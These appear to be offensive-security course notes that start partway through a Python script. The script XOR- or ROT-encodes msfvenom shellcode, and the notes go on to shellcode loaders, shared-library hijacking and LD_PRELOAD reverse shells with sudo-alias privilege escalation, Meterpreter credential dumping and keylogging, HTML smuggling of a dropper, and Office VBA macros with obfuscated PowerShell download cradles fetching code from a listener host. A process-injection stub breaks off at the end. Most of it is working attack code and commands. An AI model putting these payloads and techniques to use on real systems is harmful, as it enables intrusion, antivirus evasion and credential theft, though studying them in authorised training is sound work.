f.close()
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in CSharp format!{bcolors.ENDC}")
else:
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}")
print(payloadFormatted + "\n")
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}")
if args.encoding == "xor":
decodingFunc = f"""for (int i = 0; i < buf.Length; i++)
{{
buf[i] = (byte)((uint)buf[i] ^ {hex(args.key)});
}}"""
if args.encoding == "rot":
decodingFunc = f"""for (int i = 0; i < buf.Length; i++)
{{
buf[i] = (byte)(((uint)buf[i] - {hex(args.key)}) & 0xFF);
}}"""
print(decodingFunc)
elif args.format == "cpp":
# Encode the payload with the chosen type and key
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}")
encodedPayload = []
payloadFormatted = ""
for byte in payload:
byteInt = int(byte)
if args.encoding == "xor":
byteInt = byteInt ^ args.key
elif args.encoding == "rot":
byteInt = byteInt + args.key & 255
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}")
encodedPayload.append(f"\\x{byteInt:02x}")
payLen = len(encodedPayload)
encodedPayload = re.sub("(.{68})", " \"\\1\"\n", ''.join(encodedPayload), 0, re.DOTALL)
payloadFormatted += f"// Payload {args.encoding}-encoded with key {hex(args.key)}\n"
payloadFormatted += f"unsigned char buffer[] = \n {encodedPayload.strip()};"
if payLen > 1000:
f = open("/tmp/payload.txt", "w")
f.write(payloadFormatted)
f.close()
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in C++ format!{bcolors.ENDC}")
else:
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}")
print(payloadFormatted + "\n")
# Provide the decoding function for the heck of it
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}")
if args.encoding == "xor":
decodingFunc = f"""char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});
"""
if args.encoding == "rot":
decodingFunc = f"""char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
bufferx[i] = (char)(buffer[i] - {hex(args.key)} & 255);
"""
print(decodingFunc)
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose 'cs' for CSharp or 'cpp' for C++).{bcolors.ENDC}")
shellcodeCrypter-msfvenom.py
┌──(root㉿kali)-[/home/kali/Desktop/osep]
└─# python3 shellcodecrypter.py 192.168.45.156 443 cpp xor 0xfa linux/x64/meterpreter/reverse_tcp
[i] Generating payload linux/x64/meterpreter/reverse_tcp for LHOST=192.168.45.156 and LPORT=443
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of csharp file: 691 bytes
[i] Encoding payload with type xor and key 250
[+] Encoded payload (C++):
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.156 LPORT=443 EXITFUNC=thread -f csharp
// xor-encoded with key 0xfa
unsigned char buffer[] =
"\xcb\x05\x90\xf3\xa2\x63\x4c\xea\xb2\x73\x2c\xb7\xcb\x33\x90\xd8"
"\xbb\xa0\x90\xfd\xa0\xf5\xff\xb2\x7f\x3a\x82\xab\x90\xf0\xbb\xa3"
"\xaa\x90\xd3\xa2\x63\x90\xf8\xa5\x90\xfb\xa4\xf5\xff\xb2\x7f\x3a"
"\x82\xc1\xb2\x6d\xb2\x43\xf8\xfa\xfb\x41\x3a\x52\xd7\x66\xab\xb2"
"\x73\x1c\x90\xea\xa0\x90\xd0\xa2\xf5\xff\xa3\xb2\x7f\x3a\x83\xdf"
"\xb3\x05\x33\x8e\xe2\xad\x90\xd9\xa2\x90\xfa\x90\xff\xb2\x73\x1d"
"\xb2\xcb\x0c\xf5\xff\xa3\xa3\xa5\xb2\x7f\x3a\x83\x3d\x90\xc6\xa2"
"\x90\xfb\xa5\xf5\xff\xa4\x90\x84\xa0\xf5\xff\xb2\x7f\x3a\x82\x17"
\x05\x1c;
[i] Decoding function:
char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
bufferx[i] = (char)(buffer[i] ^ 0xfa);
#
#!/usr/bin/python3
# Basic shellcode crypter for C# payloads
# By Cas van Cooten
import re
import platform
import argparse
import subprocess
from random import randint
if platform.system() != "Linux":
exit("[x] ERROR: Only Linux is supported for this utility script.")
class bcolors:
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
# Parse input arguments
def auto_int(x):
return int(x, 0)
parser = argparse.ArgumentParser()
parser.add_argument("lhost", help="listener IP to use")
parser.add_argument("lport", help="listener port to use")
parser.add_argument("format", help="the language to format the output in ('cs' or 'cpp')", nargs='?', default="cs")
parser.add_argument("encoding", help="the encoding type to use ('xor' or 'rot')", nargs='?', default="xor")
parser.add_argument("key", help="the key to encode the payload with (integer)", type=auto_int, nargs='?', default=randint(1,255))
parser.add_argument("payload", help="the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)", nargs='?', default="windows/x64/meterpreter/reverse_tcp")
args = parser.parse_args()
# Generate the shellcode given the preferred payload
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}")
result = subprocess.run(['msfvenom', '-p', args.payload, f"LHOST={args.lhost}", f"LPORT={args.lport}", 'exitfunc=thread', "-f", "csharp"], stdout=subprocess.PIPE)
if result.returncode != 0:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}")
# Get the payload bytes and split them
payload = re.search(r"{([^}]+)}", result.stdout.decode("utf-8")).group(1).replace('\n', '').split(",")
# Format the output payload
if args.format == "cs":
# Encode the payload with the chosen type and key
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}")
for i, byte in enumerate(payload):
byteInt = int(byte, 16)
if args.encoding == "xor":
byteInt = byteInt ^ args.key
elif args.encoding == "rot":
byteInt = byteInt + args.key & 255
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}")
payload[i] = "{0:#0{1}x}".format(byteInt,4)
payLen = len(payload)
payload = re.sub("(.{65})", "\\1\n", ','.join(payload), 0, re.DOTALL)
payloadFormatted = f"// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n"
payloadFormatted += f"// {args.encoding}-encoded with key {hex(args.key)}\n"
payloadFormatted += f"byte[] buf = new byte[{str(payLen)}] {{\n{payload.strip()}\n}};"
if payLen > 1000:
f = open("/tmp/payload.txt", "w")
f.write(payloadFormatted)
f.close()
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to '/tmp/payload.txt' in CSharp format!{bcolors.ENDC}")
else:
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}")
print(payloadFormatted + "\n")
# Provide the decoding function for the heck of it
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}")
if args.encoding == "xor":
decodingFunc = f"""for (int i = 0; i < buf.Length; i++)
{{
buf[i] = (byte)((uint)buf[i] ^ {hex(args.key)});
}}"""
if args.encoding == "rot":
decodingFunc = f"""for (int i = 0; i < buf.Length; i++)
{{
buf[i] = (byte)(((uint)buf[i] - {hex(args.key)}) & 0xFF);
}}"""
print(decodingFunc)
elif args.format == "cpp":
# Encode the payload with the chosen type and key
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}")
encodedPayload = []
for byte in payload:
byteInt = int(byte, 16)
if args.encoding == "xor":
byteInt = byteInt ^ args.key
elif args.encoding == "rot":
byteInt = byteInt + args.key & 255
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}")
encodedPayload.append(f"\\x{byteInt:02x}")
payLen = len(encodedPayload)
payload = re.sub("(.{64})", " \"\\1\"\n", ''.join(encodedPayload), 0, re.DOTALL)
payloadFormatted = f"// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n"
payloadFormatted += f"// {args.encoding}-encoded with key {hex(args.key)}\n"
payloadFormatted += f"unsigned char buffer[] =\n {payload.strip()};"
if payLen > 1000:
f = open("/tmp/payload.txt", "w")
f.write(payloadFormatted)
f.close()
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to '/tmp/payload.txt' in C++ format!{bcolors.ENDC}")
else:
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}")
print(payloadFormatted + "\n")
# Provide the decoding function for the heck of it
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}")
if args.encoding == "xor":
decodingFunc = f"""char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});
"""
if args.encoding == "rot":
decodingFunc = f"""char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
bufferx[i] = (char)(buffer[i] - {hex(args.key)} & 255);
"""
print(decodingFunc)
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose 'cs' for CSharp or 'cpp' for C++).{bcolors.ENDC}")
Simple Shellcode Loader
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// To compile:
// gcc -o simpleLoader simpleLoader.c -z execstack
// XOR-encoded 'linux/x64/shell_reverse_tcp' payload (key: 0xfa)
unsigned char buf[] = "\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA";
int main (int argc, char **argv)
{
int key = 250;
int buf_len = (int) sizeof(buf);
// Decode the payload
for (int i=0; i<buf_len; i++)
{
buf[i] = buf[i] ^ key;
}
// Cast the shellcode to a function pointer and execute
int (*ret)() = (int(*)())buf;
ret();
}
Compile the shellcode loader
gcc -o simpleLoader simpleLoader.c -z execstack
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.
Simple XOR Shellcode Encryption Cheatsheet
1. Simple XOR Encrypt Shellcode
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
unsigned char buf[] = "\x6a\x39\x58\x0f\x05..."; // Original Shellcode
int main (int argc, char **argv) {
char xor_key = 'J'; // XOR Key
int payload_length = (int) sizeof(buf); // Length of Shellcode
// XOR Encrypt Each Byte
for (int i=0; i<payload_length; i++) {
printf("\\x%02X", buf[i] ^ xor_key);
}
return 0;
}
Compilation:
kali@kali:~$ gcc -o encoder.out encoder.c -z execstack
kali@kali:~$ ./encoder.out
\x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x4
5\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48
2. Execute XOR Decrypted Shellcode
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
unsigned char buf[] = "\x20\x73\x12\x45..."; // XOR Encrypted Shellcode
int main (int argc, char **argv) {
char xor_key = 'J'; // XOR Key
int arraysize = (int) sizeof(buf); // Length of Encrypted Shellcode
// XOR Decrypt Each Byte
for (int i=0; i<arraysize-1; i++) {
buf[i] = buf[i] ^ xor_key;
}
int (*ret)() = (int(*)())buf; // Convert to Function Pointer & Execute
ret();
}
Key Points:
- The shellcode is encrypted using XOR operation against a key (e.g., ‘J’).
- The encrypted shellcode must be decrypted using the same XOR key before execution.
- After decryption, the shellcode is cast to a function pointer and executed.
Linux uses a different program format than Windows. While Linux utilizes Executable and Linkable Format (ELF), Windows uses the Portable Executable (PE) format.
Despite their differences, both systems share code with other applications. Windows employs Dynamic-Link Library (DLL) files, whereas Linux uses Shared Libraries.
When a Linux application requires a library, it searches for it in the following order:
- RPATH: Directories within the application’s RPATH value.
- LD_LIBRARY_PATH: Directories specified in this environment variable.
- RUNPATH: Directories in the application’s RUNPATH value.
- /etc/ld.so.conf: Directories mentioned here.
- System Library Directories:
/lib , /lib64 , /usr/lib , /usr/lib64 , /usr/local/lib , /usr/local/lib64
, and more.
Because of this predefined search sequence, it’s possible to place or hijack shared libraries to control an application’s behavior.
1. Writing the Malicious Library:
- Create the payload file:
/home/offsec/ldlib/hax.c
- Include headers:
- Define the constructor function:
- Function payload:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // for setuid/setgid
// This function will be executed automatically when the shared library is loaded.
static void runmahpayload() __attribute__((constructor));
void runmahpayload() {
// Elevate privileges to root user.
setuid(0); // Set the effective user ID to root.
setgid(0); // Set the effective group ID to root.
// Print a message to indicate the DLL hijacking is in progress.
printf("DLL HIJACKING IN PROGRESS \n");
// Execute the system command to create a file in /tmp called "haxso.txt."
// This can be used as an indicator that the malicious code was executed.
system("touch /tmp/haxso.txt");
}
2. Compiling the Malicious Library:
- Compile shared library object file:
- Compile the finished shared library file:
gcc -Wall -fPIC -c -o hax.o hax.c
gcc -shared -o libhax.so hax.o
3. Identifying the Target Library:
- Determine libraries used by a binary, e.g., top :
ldd /usr/bin/top
linux-vdso.so.1 (0x00007ffd135c5000)
libprocps.so.6 => /lib/x86_64-linux-gnu/libprocps.so.6 (0x00007ff5ab935000)
libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff5ab70b000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff5ab507000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff5ab116000)
libsystemd.so.0 => /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007ff5aae92000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff5abd9b000)
librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff5aac8a000)
liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5aaa64000)
liblz4.so.1 => /usr/lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff5aa848000)
libgcrypt.so.20 => /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff5aa52c000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff5aa30d000)
libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000)
- We will use the bottom library. This is likely to be loaded by the application but not likely to be called unless the program encounters an error therefore this shouldn’t prevent normal use of the application.
4. Preparing for Exploitation:
- Set the environment variable:
- Copy the malicious library to hijack a target:
export LD_LIBRARY_PATH=/home/offsec/ldlib/
cp libhax.so libgpg-error.so.0
5. Identifying Missing Symbols:
- Extract symbols associated with the hijacked library:
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print "int",$8}' | sed 's/@@GPG_ERROR_1.0/;/g'
- Add the resulting symbols to your source code.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void runmahpayload() __attribute__((constructor));
int gpgrt_onclose;
int _gpgrt_putc_overflow;
int gpgrt_feof_unlocked;
int gpgrt_vbsprintf;
int gpgrt_ungetc;
---REST OF THE CODE---
- We encountered an error stating we’re missing the symbol “gpgrt_lock_lock” with version GPG_ERROR_1.0. Before our library’s initial function could run, the program identified that certain expected symbols were absent. This implies that our fake library doesn’t have all the required components that the original library has. To fix this, we just need to add placeholders for these missing components, since the program isn’t checking their functionality, just their presence. We can also use the “readelf” tool with the “-s” option to check what components the original library contains.
6. Overcoming Version Errors:
- Extract just symbol names:
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print $8}' | sed 's/@@GPG_ERROR_1.0/;/g'
- Create a symbol map file, e.g., gpg.map :
GPG_ERROR_1.0 {
gpgrt_onclose;
_gpgrt_putc_overflow;
...
};
- Recompile using the symbol map:
gcc -Wall -fPIC -c -o hax.o hax.c
gcc -shared -Wl,--version-script gpg.map -o libgpgerror.so.0 hax.o
- Export environment varialbe
export LD_LIBRARY_PATH=/home/offsec/ldlib/
- Run the application
top
DLL HIJACKING IN PROGRESS
top - 14:55:15 up 9 days, 4:35, 2 users, load average: 0.01, 0.01, 0.00 Tasks: 164 total, 1 running, 92 sleeping, 0 stopped, 0 zombie ...
- Look for the file our library was supposed to modify in /tmp.
ls -al /tmp/haxso.txt
-rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txt
Privilege Escalation
Create a .bashrc alias for sudo to include LD_LIBRARY_PATH and use the malicious library example we created to escalate to root privileges.
- Add the alias to the .bashrc:
- Source the .bashrc to load the changes:
- Now, run the top utility with sudo:
alias sudo="sudo LD_LIBRARY_PATH=/home/offsec/ldlib"
source ~/.bashrc
sudo top
ls -al /tmp/haxso.txt
-rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt
- Check the /tmp directory for the haxso.txt file. This time it should be owned by the root user, indicating that the malicious library executed with elevated privileges.
LD_PRELOAD Exploitation
The environment variable LD_PRELOAD, when set on a system, instructs the dynamic linking loader to prioritize a specific shared library to load first. Consequently, the functions within this library take precedence over others that have an identical method signature from different libraries.
Reverse shell
1. Identifying Potential Applications
- Target applications that the victim frequently uses (e.g., cp utility).
2. Tracing Library Calls
$ ltrace cp
strrchr("cp", '/') = nil
...
geteuid() = 1000
getenv("POSIXLY_CORRECT") = nil
...
fflush(0x7f717f0c0680) = 0
fclose(0x7f717f0c0680) = 0
+++ exited (status 1) +++
3. Creating a Malicious Shared Library
- Objective: Redefine the geteuid function.
- Code Sample:
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
// To compile:
// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c
unsigned char buf[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x00\x50\xc0\xa8\x31\x43\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
uid_t geteuid(void)
{
// Get the address of the original 'geteuid' function
typeof(geteuid) *old_geteuid;
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
// Fork a new thread based on the current one
if (fork() == 0)
{
// Execute shellcode in the new thread
intptr_t pagesize = sysconf(_SC_PAGESIZE);
// Make memory executable (required in libs)
if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {
// Handle error
perror("mprotect");
return -1;
}
// Cast and execute
int (*ret)() = (int(*)())buf;
ret();
}
else
{
// Original thread, call the original function
printf("[Hijacked] Returning from function...\n");
return (*old_geteuid)();
}
// This shouldn't really execute
printf("[Hijacked] Returning from main...\n");
return -2;
}
- Compilation:
gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c
gcc -shared -o sharedLibrary_LD_PRELOAD.so evil_geteuid.o -ldl
4. Triggering the Payload
- Setup: Prepare a listener for the payload’s callback.
- Execution without Preload:
cp /etc/passwd /tmp/testpasswd
- Setting LD_PRELOAD and Execution:
export LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so
cp /etc/passwd /tmp/testpasswd
Privilege Escalation
- Clear LD_PRELOAD:
unset LD_PRELOAD
- Note: If EUID doesn’t match real UID (e.g., when using sudo), dynamic linker ignores LD_PRELOAD.
- Setting LD_PRELOAD with Sudo: Use an alias in .bashrc :
alias sudo="sudo LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so"

- Reload .bashrc :
source ~/.bashrc
- Now run the command
sudo cp /etc/passwd /tmp/passwd

Meterpreter Post Explotation
[TryHackMe] Metasploit: Meterpreter — walkthrough | by Tanseejou | Medium
Metasploit Unleashed
Metasploit Unleashed – Free Online Ethical Hacking Course | OffSec
Meterpreter MindMap
Meterpreter Commands
- [A] Core Commands:
background
: Background the current session.exit
: Terminate the session.guid
: Get session’s Globally Unique Identifier.help
: Display the help menu.info
: Display information about a Post module.irb
: Open an interactive Ruby shell.load
: Load Meterpreter extensions.migrate
: Migrate Meterpreter to another process.run
: Execute a script or Post module.sessions
: Switch to another session.
- [B] File System Commands:
cd
: Change directory.ls
/dir
: List files in the directory.pwd
: Print current directory.edit
: Edit a file.cat
: Display file contents.rm
: Delete a file.search
: Search for files.upload
: Upload file/directory.download
: Download file/directory.
- [C] Networking Commands:
arp
: Show ARP cache.ifconfig
: Display network interfaces.netstat
: Show network connections.portfwd
: Forward a local port.route
: View/modify routing table.
- [D] System Commands:
clearev
: Clear event logs.execute
: Execute a command.getpid
: Display current process ID.getuid
: Show user of the running Meterpreter.kill
: Terminate a process.pkill
: Terminate processes by name.ps
: List running processes.reboot
: Reboot the remote computer.shell
: Access system command shell.shutdown
: Shut down remote computer.sysinfo
: Retrieve remote system information.
Post-Explotation with Meterpreter
help
: List available commands.- Migrate: Migrate to another process with
migrate [PID]
.- Used for: keystroke capturing (
keyscan_start
,keyscan_stop
,keyscan_dump
) and ensuring session stability. - Caution: Migrating may lead to privilege loss.
- Used for: keystroke capturing (
- Hashdump: Dump the SAM database containing NTLM-formatted passwords with
hashdump
. - Search: Find files, e.g.,
search -f flag2.txt
. - Shell: Launch command shell on the target with
shell
.
search smb/psexec
to search for a module.use [id]
to use the module.- Set required fields using
set
(e.g.,set RHOSTS [target-machine-ip]
). - Confirm settings with
show options
. run
to start the exploit.
Meterpreter Extensions
Metasploit Basics, Part 21: Capturing Credentials with mimikatz (hackers-arise.com)
load kiwi
– Load Mimikatz in current processload incognito
– Incognito is a tool which can be used for privilege escalation, typically from Local Administrator to Domain Administrator.-
load powershell
powershell_import PowerUp.ps1
<– from our local working dir.powershell_execute "Invoke-AllChecks"
Office Phishing (Client side code exec)
REMEMBER – Check if MS word is running 64-bit or 32-bit
HTML Smuggeling
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the browser to automatically download a file when a user clicks the assigned hyperlink.
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.
# Generate a staged payload using msfvenom.
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe
# Saved it as base64 as to not lose any data.
base64 msfstaged.exe
<html>
<body>
<script>
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i);
}
return bytes.buffer;
}
<!-- First the base64 code which is saved in the variable file is decoded and saved to data using the base64ToArrayBuffer. When embedding the base64 code in the variable remember to remove all linebreaks and newlines. Then the data is placed into a blob. A Blob is an opaque reference to, or handle for, a chunk of data. -->
var file ="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA..."
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'msfstaged.exe';
<!-- Next we create a hidden tag called "a". The data from our blob is then moved to the variable url. The variable url is a .href reference for our tag "a". Then our blob gets the fileName of msfstaged.exe from the variable fileName above. Then a click action is performed to download our file to the victim machine. -->
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
</script>
</body>
</html>

Microsoft Office Macro Client-side Attack
REMEMBER – Check if 32-bit or 64-bit
https://blog.aghanim.net/?page_id=1809#Microsoft_Word
Visual Basic for Applications [VBA]
'VBA Datatype
'Dim is used to declare variables
Dim myString As String # Unicode
Dim myLong As Long # 64-bit integer
Dim myPointer As LongPtr # Memory pointer
'Example - if and else statement
Sub MyMacro()
Dim myLong As Long
myLong = 1
If myLong < 5 Then
MsgBox ("True")
Else
MsgBox ("False")
End If
End Sub
'Example - Launch cmd.exe with a hidden window
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
Dim str As String
str = "cmd.exe"
Shell str, vbHide
End Sub
'The picture below show the cmd.exe running as a child process of winword.

Persistence
PowerShell in VBA
Download cradle
Sub MyMacro()
Dim strArg As String
strArg = "powershell -exec bypass -nop -c iex((new-object
system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))"
Shell strArg, vbHide
End Sub
WMI: Unlinking PowerShell from Office
Use WMI from VBA to create a PowerShell process instead of having it as a child process of Microsoft Word.
Remember that since this is NOT ran as a child process of MS word, the PowerShell will open in 64-bit!
Sub MyMacro
strArg = "powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))"
GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub
Sub AutoOpen()
MyMacro
End Sub
Obfuscated version of WMI
- First we’ll convert the strings using ToCharArray.
- The code below takes the string inside the $payload and encrypt it. So the string (powershell -exec …) is encrypted, not the content of run.txt).
$payload = "powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))"
[string]$output = ""
$payload.ToCharArray() | %{
[string]$thischar = [byte][char]$_ + 17
if($thischar.Length -eq 1)
{
$thischar = [string]"00" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 2)
{
$thischar = [string]"0" + $thischar
$output += $thischar
}
elseif($thischar.Length -eq 3)
{
$output += $thischar
}
}
$output | clip
- The code below is the decryption routine.
Function Pears(Beets)
Pears = Chr(Beets - 17)
End Function
Function Strawberries(Grapes)
Strawberries = Left(Grapes, 3)
End Function
Function Almonds(Jelly)
Almonds = Right(Jelly, Len(Jelly) - 3)
End Function
Function Nuts(Milk)
Do
Oatmilk = Oatmilk + Pears(Strawberries(Milk))
Milk = Almonds(Milk)
Loop While Len(Milk) > 0
Nuts = Oatmilk
End Function
- So combined together with
Unlinking Powershell from Word
code above, we will get this
Function Pears(Beets)
Pears = Chr(Beets - 17)
End Function
Function Strawberries(Grapes)
Strawberries = Left(Grapes, 3)
End Function
Function Almonds(Jelly)
Almonds = Right(Jelly, Len(Jelly) - 3)
End Function
Function Nuts(Milk)
Do
Oatmilk = Oatmilk + Pears(Strawberries(Milk))
Milk = Almonds(Milk)
Loop While Len(Milk) > 0
Nuts = Oatmilk
End Function
Function MyMacro()
Dim Apples As String
Dim Water As String
'powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))
Apples = "129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066063066067071064131134127063129132066056058058"
Water = Nuts(Apples)
' GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")).Create Water, Tea, Coffee, Napkin
End Function
Sub AutoOpen()
MyMacro
End Sub
Process Injection
Csharp
using System;
using System.Runtime.InteropServices;
namespace Inject
{
class Program
{
// Import necessary functions from kernel32.dll
// Opens an existing local process object
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
// Reserves or commits a region of memory within the virtual address space of a specified process
